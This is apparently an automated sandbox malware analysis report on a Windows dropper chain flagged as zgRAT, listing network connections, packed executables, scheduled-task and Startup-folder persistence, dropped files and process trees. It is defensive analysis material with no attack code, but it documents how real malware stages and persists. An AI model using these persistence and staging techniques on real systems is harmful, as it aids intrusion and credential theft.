Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8a32a8d958.exe, 0000000D.00000003.3507505889.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630067493.000000000334C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 8a32a8d958.exe, 0000000D.00000003.3507505889.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630067493.000000000334C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49840 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 8a32a8d958.exe.6.dr	Static PE information: section name:
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: .idata
Source: 8a32a8d958.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: ece32691cf.exe.6.dr	Static PE information: section name:
Source: ece32691cf.exe.6.dr	Static PE information: section name: .idata
Source: ece32691cf.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name:
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: .idata
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_005CCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_005CCB97

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File created: C:\Windows\Tasks\Gxtuum.job
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	File created: C:\Windows\Tasks\Test Task17.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007D5C83	1_2_007D5C83
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007D735A	1_2_007D735A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00818860	1_2_00818860
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_008E8101	1_2_008E8101
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007D4DE0	1_2_007D4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007D4B30	1_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F7049	3_2_005F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F8860	3_2_005F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F78BB	3_2_005F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F31A8	3_2_005F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005B4B30	3_2_005B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F2D10	3_2_005F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005B4DE0	3_2_005B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005E7F36	3_2_005E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F779B	3_2_005F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F7049	4_2_005F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F8860	4_2_005F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F78BB	4_2_005F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F31A8	4_2_005F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005B4B30	4_2_005B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F2D10	4_2_005F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005B4DE0	4_2_005B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005E7F36	4_2_005E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F779B	4_2_005F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005BE530	6_2_005BE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005D6192	6_2_005D6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0064E225	6_2_0064E225
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F8860	6_2_005F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005B4B30	6_2_005B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F2D10	6_2_005F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005B4DE0	6_2_005B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005D0E13	6_2_005D0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F7049	6_2_005F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F31A8	6_2_005F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005D1602	6_2_005D1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F779B	6_2_005F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F78BB	6_2_005F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005D3DF1	6_2_005D3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005E7F36	6_2_005E7F36

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe AEC3EC473DE321D123E939985579227EE62B53B3B3EDB7AB96E2A66C17E9696D

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005CDF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005E8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005C80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005C7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005CD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005CD942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005CD663 appears 40 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 007E80C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: Baursystempower[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Baursystempower.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Target.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9984673024523161
Source: skotes.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9984673024523161
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973445526541096
Source: random[1].exe.6.dr	Static PE information: Section: lzigcvvj ZLIB complexity 0.9945462015898131
Source: 8a32a8d958.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973445526541096
Source: 8a32a8d958.exe.6.dr	Static PE information: Section: lzigcvvj ZLIB complexity 0.9945462015898131
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 1de5b2f311.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 1de5b2f311.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe1.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: ece32691cf.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: ece32691cf.exe.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[2].exe.6.dr	Static PE information: Section: yefovael ZLIB complexity 0.9944293525542873
Source: 9a2c1b4302.exe.6.dr	Static PE information: Section: yefovael ZLIB complexity 0.9944293525542873

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@40/26@19/8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Mutant created: \Sessions\1\BaseNamedObjects\bf11e9eb444cca0553e5dc41fdf05974
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8a32a8d958.exe, 0000000D.00000003.3452375663.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3454948696.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3482006837.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3602812491.0000000003348000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3569573104.0000000003348000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3562778433.0000000003366000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662885027.0000000005539000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662341576.0000000005557000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe "C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Roaming\Target.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe "C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe "C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe "C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Roaming\Target.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
